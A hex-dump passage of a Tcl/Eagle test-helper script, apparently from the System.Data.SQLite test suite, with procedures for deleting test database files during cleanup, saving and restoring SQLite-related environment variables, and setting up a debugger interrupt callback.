15a00 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 15a10 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 15a20 45 3a 20 53 6b 69 70 20 64 65 6c 65 74 69 6e 67 E: Skip deleting 15a30 20 64 61 74 61 62 61 73 65 20 66 69 6c 65 73 20 database files 15a40 69 66 20 73 6f 6d 65 62 6f 64 79 20 73 65 74 73 if somebody sets 15a50 20 74 68 65 20 67 6c 6f 62 61 6c 0d 0a 20 20 20 the global.. 15a60 20 20 20 20 20 23 20 20 20 20 20 20 20 76 61 72 # var 15a70 69 61 62 6c 65 20 74 6f 20 70 72 65 76 65 6e 74 iable to prevent 15a80 20 69 74 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d it... #. 15a90 0a 20 20 20 20 20 20 20 20 69 66 20 7b 21 5b 69 . if {![i 15aa0 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f 28 nfo exists ::no( 15ab0 63 6c 65 61 6e 75 70 44 62 46 69 6c 65 29 5d 7d cleanupDbFile)]} 15ac0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 15ad0 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 #.. 15ae0 23 20 4e 4f 54 45 3a 20 41 74 74 65 6d 70 74 20 # NOTE: Attempt 15af0 74 6f 20 64 65 6c 65 74 65 20 74 68 65 20 74 65 to delete the te 15b00 73 74 20 64 61 74 61 62 61 73 65 20 66 69 6c 65 st database file 15b10 20 6e 6f 77 2e 0d 0a 20 20 20 20 20 20 20 20 20 now... 15b20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 #.. if 15b30 20 7b 5b 73 65 74 20 63 6f 64 65 20 5b 63 61 74 {[set code [cat 15b40 63 68 20 7b 66 69 6c 65 20 64 65 6c 65 74 65 20 ch {file delete 15b50 24 66 69 6c 65 4e 61 6d 65 7d 20 65 72 72 6f 72$fileName} error 15b60 5d 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 ]]} then {.. 15b70 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 15b80 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 57 # NOTE: W 15b90 65 20 73 6f 6d 65 68 6f 77 20 66 61 69 6c 65 64 e somehow failed 15ba0 20 74 6f 20 64 65 6c 65 74 65 20 74 68 65 20 66 to delete the f 15bb0 69 6c 65 2c 20 72 65 70 6f 72 74 20 77 68 79 2e ile, report why. 15bc0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 0d .. #. 15bd0 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 70 75 . tpu 15be0 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e ts $::test_chann 15bf0 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c el [appendArgs \ 15c00 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 15c10 20 20 22 3d 3d 3d 3d 20 57 41 52 4e 49 4e 47 3a "==== WARNING: 15c20 20 66 61 69 6c 65 64 20 74 6f 20 64 65 6c 65 74 failed to delet 15c30 65 20 64 61 74 61 62 61 73 65 20 66 69 6c 65 20 e database file 15c40 5c 22 22 20 24 66 69 6c 65 4e 61 6d 65 20 5c 0d \""$fileName \. 15c50 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 15c60 20 22 5c 22 20 64 75 72 69 6e 67 20 63 6c 65 61 "\" during clea 15c70 6e 75 70 2c 20 65 72 72 6f 72 3a 20 22 20 5c 6e nup, error: " \n 15c80 5c 74 20 24 65 72 72 6f 72 20 5c 6e 5d 0d 0a 20 \t $error \n].. 15c90 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 }.. 15ca0 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 } else {.. 15cb0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 15cc0 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 53 68 6f # NOTE: Sho 15cd0 77 20 74 68 61 74 20 77 65 20 73 6b 69 70 70 65 w that we skippe 15ce0 64 20 64 65 6c 65 74 69 6e 67 20 74 68 65 20 66 d deleting the f 15cf0 69 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 ile... 15d00 23 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 #.. set 15d10 20 63 6f 64 65 20 30 0d 0a 0d 0a 20 20 20 20 20 code 0.... 15d20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 tputs$::te 15d30 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 st_channel [appe 15d40 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 ndArgs \.. 15d50 20 20 20 20 20 20 20 20 22 3d 3d 3d 3d 20 57 41 "==== WA 15d60 52 4e 49 4e 47 3a 20 73 6b 69 70 70 65 64 20 64 RNING: skipped d 15d70 65 6c 65 74 69 6e 67 20 64 61 74 61 62 61 73 65 eleting database 15d80 20 66 69 6c 65 20 5c 22 22 20 24 66 69 6c 65 4e file \"" $fileN 15d90 61 6d 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 ame \.. 15da0 20 20 20 20 20 22 5c 22 20 64 75 72 69 6e 67 20 "\" during 15db0 63 6c 65 61 6e 75 70 5c 6e 22 5d 0d 0a 20 20 20 cleanup\n"].. 15dc0 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 7d 20 }.. } 15dd0 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 else {.. 15de0 23 0d 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 #.. # NOT 15df0 45 3a 20 54 68 65 20 66 69 6c 65 20 64 6f 65 73 E: The file does 15e00 20 6e 6f 74 20 65 78 69 73 74 2c 20 73 75 63 63 not exist, succ 15e10 65 73 73 21 0d 0a 20 20 20 20 20 20 20 20 23 0d ess!.. #. 15e20 0a 20 20 20 20 20 20 20 20 73 65 74 20 63 6f 64 . set cod 15e30 65 20 30 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a e 0.. }.... 15e40 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 63 6f return$co 15e50 64 65 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 de.. }..... 15e60 20 20 70 72 6f 63 20 73 61 76 65 45 6e 76 69 72 proc saveEnvir 15e70 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 73 20 onmentVariables 15e80 7b 20 6e 61 6d 65 73 20 7b 76 61 72 4e 61 6d 65 { names {varName 15e90 20 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 ""} } {.. 15ea0 23 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a #.. # NOTE: 15eb0 20 46 6f 72 20 65 61 63 68 20 6e 61 6d 65 2c 20 For each name, 15ec0 64 6f 65 73 20 74 68 65 20 6c 69 76 65 20 65 6e does the live en 15ed0 76 69 72 6f 6e 6d 65 6e 74 20 76 61 72 69 61 62 vironment variab 15ee0 6c 65 20 65 78 69 73 74 3f 20 20 49 66 0d 0a 20 le exist? If.. 15ef0 20 20 20 20 20 23 20 20 20 20 20 20 20 73 6f 2c # so, 15f00 20 73 61 76 65 20 74 68 65 20 76 61 6c 75 65 20 save the value 15f10 66 6f 72 20 6c 61 74 65 72 3b 20 6f 74 68 65 72 for later; other 15f20 77 69 73 65 2c 20 6d 61 6b 65 20 73 75 72 65 20 wise, make sure 15f30 74 68 65 20 73 61 76 65 64 0d 0a 20 20 20 20 20 the saved.. 15f40 20 23 20 20 20 20 20 20 20 76 61 6c 75 65 20 64 # value d 15f50 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 65 69 oes not exist ei 15f60 74 68 65 72 2e 20 20 54 68 65 20 6c 69 76 65 20 ther. The live 15f70 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 76 61 72 69 environment vari 15f80 61 62 6c 65 73 0d 0a 20 20 20 20 20 20 23 20 20 ables.. # 15f90 20 20 20 20 20 41 52 45 20 4e 4f 54 20 63 68 61 ARE NOT cha 15fa0 6e 67 65 64 20 62 79 20 74 68 69 73 20 70 72 6f nged by this pro 15fb0 63 65 64 75 72 65 2e 0d 0a 20 20 20 20 20 20 23 cedure... # 15fc0 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 .. if {[str 15fd0 69 6e 67 20 6c 65 6e 67 74 68 20 24 76 61 72 4e ing length $varN 15fe0 61 6d 65 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 ame] == 0} then 15ff0 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 76 {.. set v 16000 61 72 4e 61 6d 65 20 73 61 76 65 64 45 6e 76 0d arName savedEnv. 16010 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 . }.... 16020 20 20 75 70 76 61 72 20 31 20 24 76 61 72 4e 61 upvar 1$varNa 16030 6d 65 20 73 61 76 65 64 45 6e 76 0d 0a 0d 0a 20 me savedEnv.... 16040 20 20 20 20 20 66 6f 72 65 61 63 68 20 6e 61 6d foreach nam 16050 65 20 24 6e 61 6d 65 73 20 7b 0d 0a 20 20 20 20 e $names {.. 16060 20 20 20 20 69 66 20 7b 5b 69 6e 66 6f 20 65 78 if {[info ex 16070 69 73 74 73 20 3a 3a 65 6e 76 28 24 6e 61 6d 65 ists ::env($name 16080 29 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 )]} then {.. 16090 20 20 20 20 20 20 73 65 74 20 73 61 76 65 64 45 set savedE 160a0 6e 76 28 24 6e 61 6d 65 29 20 24 3a 3a 65 6e 76 nv($name)$::env 160b0 28 24 6e 61 6d 65 29 0d 0a 20 20 20 20 20 20 20 ($name).. 160c0 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 } else {.. 160d0 20 20 20 20 20 75 6e 73 65 74 20 2d 6e 6f 63 6f unset -noco 160e0 6d 70 6c 61 69 6e 20 73 61 76 65 64 45 6e 76 28 mplain savedEnv( 160f0 24 6e 61 6d 65 29 0d 0a 20 20 20 20 20 20 20 20$name).. 16100 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 }.. }.... 16110 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 4e #.. # N 16120 4f 54 45 3a 20 54 68 69 73 20 69 73 20 73 65 6c OTE: This is sel 16130 66 2d 63 6c 65 61 6e 69 6e 67 2e 20 20 49 66 20 f-cleaning. If 16140 6e 6f 20 73 61 76 65 64 20 65 6e 76 69 72 6f 6e no saved environ 16150 6d 65 6e 74 20 76 61 72 69 61 62 6c 65 73 20 6e ment variables n 16160 6f 77 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 ow.. # 16170 20 20 65 78 69 73 74 2c 20 72 65 6d 6f 76 65 20 exist, remove 16180 74 68 65 20 61 72 72 61 79 2e 0d 0a 20 20 20 20 the array... 16190 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b #.. if {[ 161a0 61 72 72 61 79 20 73 69 7a 65 20 73 61 76 65 64 array size saved 161b0 45 6e 76 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 Env] == 0} then 161c0 7b 0d 0a 20 20 20 20 20 20 20 20 75 6e 73 65 74 {.. unset 161d0 20 2d 6e 6f 63 6f 6d 70 6c 61 69 6e 20 73 61 76 -nocomplain sav 161e0 65 64 45 6e 76 0d 0a 20 20 20 20 20 20 7d 0d 0a edEnv.. }.. 161f0 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr 16200 6f 63 20 72 65 73 74 6f 72 65 45 6e 76 69 72 6f oc restoreEnviro 16210 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 73 20 7b nmentVariables { 16220 20 6e 61 6d 65 73 20 7b 76 61 72 4e 61 6d 65 20 names {varName 16230 22 22 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 23 ""} } {.. # 16240 0d 0a 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 .. # NOTE: 16250 46 6f 72 20 65 61 63 68 20 6e 61 6d 65 2c 20 64 For each name, d 16260 6f 65 73 20 74 68 65 20 73 61 76 65 64 20 65 6e oes the saved en 16270 76 69 72 6f 6e 6d 65 6e 74 20 76 61 72 69 61 62 vironment variab 16280 6c 65 20 65 78 69 73 74 3f 20 20 49 66 0d 0a 20 le exist? If.. 16290 20 20 20 20 20 23 20 20 20 20 20 20 20 73 6f 2c # so, 162a0 20 72 65 73 74 6f 72 65 20 74 68 65 20 73 61 76 restore the sav 162b0 65 64 20 76 61 6c 75 65 20 61 6e 64 20 75 6e 73 ed value and uns 162c0 65 74 20 69 74 3b 20 6f 74 68 65 72 77 69 73 65 et it; otherwise 162d0 2c 20 6d 61 6b 65 20 73 75 72 65 0d 0a 20 20 20 , make sure.. 162e0 20 20 20 23 20 20 20 20 20 20 20 74 68 65 20 6c # the l 162f0 69 76 65 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 ive environment 16300 76 61 72 69 61 62 6c 65 20 64 6f 65 73 20 6e 6f variable does no 16310 74 20 65 78 69 73 74 20 65 69 74 68 65 72 20 28 t exist either ( 16320 69 2e 65 2e 20 69 74 0d 0a 20 20 20 20 20 20 23 i.e. it.. # 16330 20 20 20 20 20 20 20 77 61 73 20 6e 6f 74 20 73 was not s 16340 65 74 20 74 6f 20 62 65 67 69 6e 20 77 69 74 68 et to begin with 16350 29 2e 20 20 42 6f 74 68 20 73 61 76 65 64 20 61 ). Both saved a 16360 6e 64 20 6c 69 76 65 20 65 6e 76 69 72 6f 6e 6d nd live environm 16370 65 6e 74 0d 0a 20 20 20 20 20 20 23 20 20 20 20 ent.. # 16380 20 20 20 76 61 72 69 61 62 6c 65 73 20 41 52 45 variables ARE 16390 20 63 68 61 6e 67 65 64 20 62 79 20 74 68 69 73 changed by this 163a0 20 70 72 6f 63 65 64 75 72 65 2e 0d 0a 20 20 20 procedure... 163b0 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 163c0 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 [string length $163d0 76 61 72 4e 61 6d 65 5d 20 3d 3d 20 30 7d 20 74 varName] == 0} t 163e0 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 hen {.. s 163f0 65 74 20 76 61 72 4e 61 6d 65 20 73 61 76 65 64 et varName saved 16400 45 6e 76 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a Env.. }.... 16410 20 20 20 20 20 20 75 70 76 61 72 20 31 20 24 76 upvar 1$v 16420 61 72 4e 61 6d 65 20 73 61 76 65 64 45 6e 76 0d arName savedEnv. 16430 0a 0d 0a 20 20 20 20 20 20 66 6f 72 65 61 63 68 ... foreach 16440 20 6e 61 6d 65 20 24 6e 61 6d 65 73 20 7b 0d 0a name $names {.. 16450 20 20 20 20 20 20 20 20 69 66 20 7b 5b 69 6e 66 if {[inf 16460 6f 20 65 78 69 73 74 73 20 73 61 76 65 64 45 6e o exists savedEn 16470 76 28 24 6e 61 6d 65 29 5d 7d 20 74 68 65 6e 20 v($name)]} then 16480 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 {.. set 16490 20 3a 3a 65 6e 76 28 24 6e 61 6d 65 29 20 24 73 ::env($name)$s 164a0 61 76 65 64 45 6e 76 28 24 6e 61 6d 65 29 0d 0a avedEnv($name).. 164b0 20 20 20 20 20 20 20 20 20 20 75 6e 73 65 74 20 unset 164c0 2d 6e 6f 63 6f 6d 70 6c 61 69 6e 20 73 61 76 65 -nocomplain save 164d0 64 45 6e 76 28 24 6e 61 6d 65 29 0d 0a 20 20 20 dEnv($name).. 164e0 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 } else {.. 164f0 20 20 20 20 20 20 20 20 20 75 6e 73 65 74 20 2d unset - 16500 6e 6f 63 6f 6d 70 6c 61 69 6e 20 3a 3a 65 6e 76 nocomplain ::env 16510 28 24 6e 61 6d 65 29 0d 0a 20 20 20 20 20 20 20 ($name).. 16520 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 }.. }.... 16530 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 23 20 #.. # 16540 4e 4f 54 45 3a 20 54 68 69 73 20 69 73 20 73 65 NOTE: This is se 16550 6c 66 2d 63 6c 65 61 6e 69 6e 67 2e 20 20 49 66 lf-cleaning. If 16560 20 6e 6f 20 73 61 76 65 64 20 65 6e 76 69 72 6f no saved enviro 16570 6e 6d 65 6e 74 20 76 61 72 69 61 62 6c 65 73 20 nment variables 16580 6e 6f 77 0d 0a 20 20 20 20 20 20 23 20 20 20 20 now.. # 16590 20 20 20 65 78 69 73 74 2c 20 72 65 6d 6f 76 65 exist, remove 165a0 20 74 68 65 20 61 72 72 61 79 2e 0d 0a 20 20 20 the array... 165b0 20 20 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b #.. if { 165c0 5b 61 72 72 61 79 20 73 69 7a 65 20 73 61 76 65 [array size save 165d0 64 45 6e 76 5d 20 3d 3d 20 30 7d 20 74 68 65 6e dEnv] == 0} then 165e0 20 7b 0d 0a 20 20 20 20 20 20 20 20 75 6e 73 65 {.. unse 165f0 74 20 2d 6e 6f 63 6f 6d 70 6c 61 69 6e 20 73 61 t -nocomplain sa 16600 76 65 64 45 6e 76 0d 0a 20 20 20 20 20 20 7d 0d vedEnv.. }. 16610 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 . }..... p 16620 72 6f 63 20 73 61 76 65 53 51 4c 69 74 65 43 6f roc saveSQLiteCo 16630 6e 6e 65 63 74 69 6f 6e 45 6e 76 69 72 6f 6e 6d nnectionEnvironm 16640 65 6e 74 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 ent {} {.. 16650 75 70 76 61 72 20 31 20 73 61 76 65 64 45 6e 76 upvar 1 savedEnv 16660 20 73 61 76 65 64 45 6e 76 0d 0a 0d 0a 20 20 20 savedEnv.... 16670 20 20 20 73 61 76 65 45 6e 76 69 72 6f 6e 6d 65 saveEnvironme 16680 6e 74 56 61 72 69 61 62 6c 65 73 20 5b 6c 69 73 ntVariables [lis 16690 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 44 t \.. D 166a0 65 66 61 75 6c 74 46 6c 61 67 73 5f 53 51 4c 69 efaultFlags_SQLi 166b0 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 20 4e 6f 5f teConnection No_ 166c0 53 51 4c 69 74 65 43 6f 6e 6e 65 63 74 69 6f 6e SQLiteConnection 166d0 4e 65 77 50 61 72 73 65 72 5d 20 5c 0d 0a 20 20 NewParser] \.. 166e0 20 20 20 20 20 20 20 20 73 61 76 65 64 45 6e 76 savedEnv 166f0 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 16700 70 72 6f 63 20 72 65 73 74 6f 72 65 53 51 4c 69 proc restoreSQLi 16710 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 45 6e 76 69 teConnectionEnvi 16720 72 6f 6e 6d 65 6e 74 20 7b 7d 20 7b 0d 0a 20 20 ronment {} {.. 16730 20 20 20 20 75 70 76 61 72 20 31 20 73 61 76 65 upvar 1 save 16740 64 45 6e 76 20 73 61 76 65 64 45 6e 76 0d 0a 0d dEnv savedEnv... 16750 0a 20 20 20 20 20 20 72 65 73 74 6f 72 65 45 6e . restoreEn 16760 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c vironmentVariabl 16770 65 73 20 5b 6c 69 73 74 20 5c 0d 0a 20 20 20 20 es [list \.. 16780 20 20 20 20 20 20 44 65 66 61 75 6c 74 46 6c 61 DefaultFla 16790 67 73 5f 53 51 4c 69 74 65 43 6f 6e 6e 65 63 74 gs_SQLiteConnect 167a0 69 6f 6e 20 4e 6f 5f 53 51 4c 69 74 65 43 6f 6e ion No_SQLiteCon 167b0 6e 65 63 74 69 6f 6e 4e 65 77 50 61 72 73 65 72 nectionNewParser 167c0 5d 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 73 ] \.. s 167d0 61 76 65 64 45 6e 76 0d 0a 20 20 20 20 7d 0d 0a avedEnv.. }.. 167e0 0c 0d 0a 20 20 20 20 70 72 6f 63 20 73 61 76 65 ... proc save 167f0 53 51 4c 69 74 65 43 6f 6e 76 65 72 74 45 6e 76 SQLiteConvertEnv 16800 69 72 6f 6e 6d 65 6e 74 20 7b 7d 20 7b 0d 0a 20 ironment {} {.. 16810 20 20 20 20 20 75 70 76 61 72 20 31 20 73 61 76 upvar 1 sav 16820 65 64 45 6e 76 20 73 61 76 65 64 45 6e 76 0d 0a edEnv savedEnv.. 16830 0d 0a 20 20 20 20 20 20 73 61 76 65 45 6e 76 69 .. saveEnvi 16840 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 73 ronmentVariables 16850 20 5b 6c 69 73 74 20 5c 0d 0a 20 20 20 20 20 20 [list \.. 16860 20 20 20 20 55 73 65 5f 53 51 4c 69 74 65 43 6f Use_SQLiteCo 16870 6e 76 65 72 74 5f 44 65 66 61 75 6c 74 44 62 54 nvert_DefaultDbT 16880 79 70 65 20 55 73 65 5f 53 51 4c 69 74 65 43 6f ype Use_SQLiteCo 16890 6e 76 65 72 74 5f 44 65 66 61 75 6c 74 54 79 70 nvert_DefaultTyp 168a0 65 4e 61 6d 65 5d 20 5c 0d 0a 20 20 20 20 20 20 eName] \.. 168b0 20 20 20 20 73 61 76 65 64 45 6e 76 0d 0a 20 20 savedEnv.. 168c0 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 }..... proc 168d0 20 72 65 73 74 6f 72 65 53 51 4c 69 74 65 43 6f restoreSQLiteCo 168e0 6e 76 65 72 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 nvertEnvironment 168f0 20 7b 7d 20 7b 0d 0a 20 20 20 20 20 20 75 70 76 {} {.. upv 16900 61 72 20 31 20 73 61 76 65 64 45 6e 76 20 73 61 ar 1 savedEnv sa 16910 76 65 64 45 6e 76 0d 0a 0d 0a 20 20 20 20 20 20 vedEnv.... 16920 72 65 73 74 6f 72 65 45 6e 76 69 72 6f 6e 6d 65 restoreEnvironme 16930 6e 74 56 61 72 69 61 62 6c 65 73 20 5b 6c 69 73 ntVariables [lis 16940 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 55 t \.. U 16950 73 65 5f 53 51 4c 69 74 65 43 6f 6e 76 65 72 74 se_SQLiteConvert 16960 5f 44 65 66 61 75 6c 74 44 62 54 79 70 65 20 55 _DefaultDbType U 16970 73 65 5f 53 51 4c 69 74 65 43 6f 6e 76 65 72 74 se_SQLiteConvert 16980 5f 44 65 66 61 75 6c 74 54 79 70 65 4e 61 6d 65 _DefaultTypeName 16990 5d 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 73 ] \.. s 169a0 61 76 65 64 45 6e 76 0d 0a 20 20 20 20 7d 0d 0a avedEnv.. }.. 169b0 0c 0d 0a 20 20 20 20 70 72 6f 63 20 73 65 74 75 ... proc setu 169c0 70 44 62 49 6e 74 65 72 72 75 70 74 43 61 6c 6c pDbInterruptCall 169d0 62 61 63 6b 20 7b 20 63 68 61 6e 6e 65 6c 20 6c back { channel l 169e0 6f 67 20 7d 20 7b 0d 0a 20 20 20 20 20 20 74 70 og } {.. tp 169f0 75 74 73 20 24 63 68 61 6e 6e 65 6c 20 22 2d 2d uts$channel "-- 16a00 2d 2d 20 73 65 74 74 69 6e 67 20 75 70 20 64 65 -- setting up de 16a10 62 75 67 67 65 72 20 69 6e 74 65 72 72 75 70 74 bugger interrupt 16a20 20 63 61 6c 6c 62 61 63 6b 2e 2e 2e 20 22 0d 0a callback... ".. 16a30 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 .. if {[cat 16a40 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 73 61 ch {.. sa 16a50 76 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 veEnvironmentVar 16a60 69 61 62 6c 65 73 20 5b 6c 69 73 74 20 5c 0d 0a iables [list \.. 16a70 20 20 20 20 20 20 20 20 20 20 20 20 71 75 69 65 quie 16a80 74 46 69 6e 64 49 6e 74 65 72 70 72 65 74 65 72 tFindInterpreter 16a90 54 65 73 74 50 61 74 68 20 71 75 69 65 74 53 65 TestPath quietSe 16aa0 74 75 70 49 6e 74 65 72 70 72 65 74 65 72 54 65 tupInterpreterTe 16ab0 73 74 50 61 74 68 5d 0d 0a 0d 0a 20 20 20 20 20 stPath].... 16ac0 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 try {.. 16ad0 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. 16ae0 20 23 20 4e 4f 54 45 3a 20 50 72 65 76 65 6e 74 # NOTE: Prevent 16af0 20 74 68 65 20 76 65 6e 64 6f 72 20 73 63 72 69 the vendor scri 16b00 70 74 20 66 72 6f 6d 20 62 65 69 6e 67 20 6e 6f pt from being no 16b10 69 73 79 20 77 68 65 6e 20 63 72 65 61 74 69 6e isy when creatin 16b20 67 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 20 g.. # 16b30 20 20 20 20 20 74 68 65 20 69 73 6f 6c 61 74 65 the isolate 16b40 64 20 69 6e 74 65 72 70 72 65 74 65 72 2e 0d 0a d interpreter... 16b50 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 16b60 20 20 20 20 20 20 20 73 65 74 20 3a 3a 65 6e 76 set ::env 16b70 28 71 75 69 65 74 46 69 6e 64 49 6e 74 65 72 70 (quietFindInterp 16b80 72 65 74 65 72 54 65 73 74 50 61 74 68 29 20 31 reterTestPath) 1 16b90 0d 0a 20 20 20 20 20 20 20 20 20 20 73 65 74 20 .. set 16ba0 3a 3a 65 6e 76 28 71 75 69 65 74 53 65 74 75 70 ::env(quietSetup 16bb0 49 6e 74 65 72 70 72 65 74 65 72 54 65 73 74 50 InterpreterTestP 16bc0 61 74 68 29 20 31 0d 0a 0d 0a 20 20 20 20 20 20 ath) 1.... 16bd0 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. 16be0 20 23 20 4e 4f 54 45 3a 20 4d 61 6b 65 20 73 75 # NOTE: Make su 16bf0 72 65 20 74 68 65 20 73 63 72 69 70 74 20 64 65 re the script de 16c00 62 75 67 67 65 72 20 61 6e 64 20 74 68 65 20 69 bugger and the i 16c10 73 6f 6c 61 74 65 64 20 69 6e 74 65 72 70 72 65 solated interpre 16c20 74 65 72 0d 0a 20 20 20 20 20 20 20 20 20 20 23 ter.. # 16c30 20 20 20 20 20 20 20 61 72 65 20 73 65 74 75 70 are setup 16c40 20 61 6e 64 20 72 65 61 64 79 20 66 6f 72 20 75 and ready for u 16c50 73 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 23 se... # 16c60 0d 0a 20 20 20 20 20 20 20 20 20 20 64 65 62 75 .. debu 16c70 67 20 73 65 74 75 70 20 74 72 75 65 20 74 72 75 g setup true tru 16c80 65 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 23 e.... # 16c90 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 4e 4f .. # NO 16ca0 54 45 3a 20 4c 6f 61 64 20 74 68 65 20 6e 65 63 TE: Load the nec 16cb0 65 73 73 61 72 79 20 70 61 63 6b 61 67 65 73 20 essary packages 16cc0 69 6e 74 6f 20 74 68 65 20 69 73 6f 6c 61 74 65 into the isolate 16cd0 64 20 69 6e 74 65 72 70 72 65 74 65 72 2e 0d 0a d interpreter... 16ce0 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 #.. 16cf0 20 20 20 20 20 20 20 64 65 62 75 67 20 65 76 61 debug eva 16d00 6c 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 l {.. 16d10 20 70 61 63 6b 61 67 65 20 72 65 71 75 69 72 65 package require 16d20 20 45 61 67 6c 65 0d 0a 20 20 20 20 20 20 20 20 Eagle.. 16d30 20 20 20 20 70 61 63 6b 61 67 65 20 72 65 71 75 package requ 16d40 69 72 65 20 45 61 67 6c 65 2e 4c 69 62 72 61 72 ire Eagle.Librar 16d50 79 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 y.. p 16d60 61 63 6b 61 67 65 20 72 65 71 75 69 72 65 20 45 ackage require E 16d70 61 67 6c 65 2e 54 65 73 74 0d 0a 20 20 20 20 20 agle.Test.. 16d80 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 }.... 16d90 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. 16da0 20 23 20 4e 4f 54 45 3a 20 43 6f 70 79 20 74 68 # NOTE: Copy th 16db0 65 20 6e 65 63 65 73 73 61 72 79 20 76 61 72 69 e necessary vari 16dc0 61 62 6c 65 73 20 69 6e 74 6f 20 74 68 65 20 69 ables into the i 16dd0 73 6f 6c 61 74 65 64 20 69 6e 74 65 72 70 72 65 solated interpre 16de0 74 65 72 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 ter... 16df0 23 0d 0a 20 20 20 20 20 20 20 20 20 20 64 65 62 #.. deb 16e00 75 67 20 69 6e 76 6f 6b 65 20 30 20 73 65 74 20 ug invoke 0 set 16e10 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 24 ::test_channel $16e20 63 68 61 6e 6e 65 6c 3b 20 23 20 4e 4f 54 45 3a channel; # 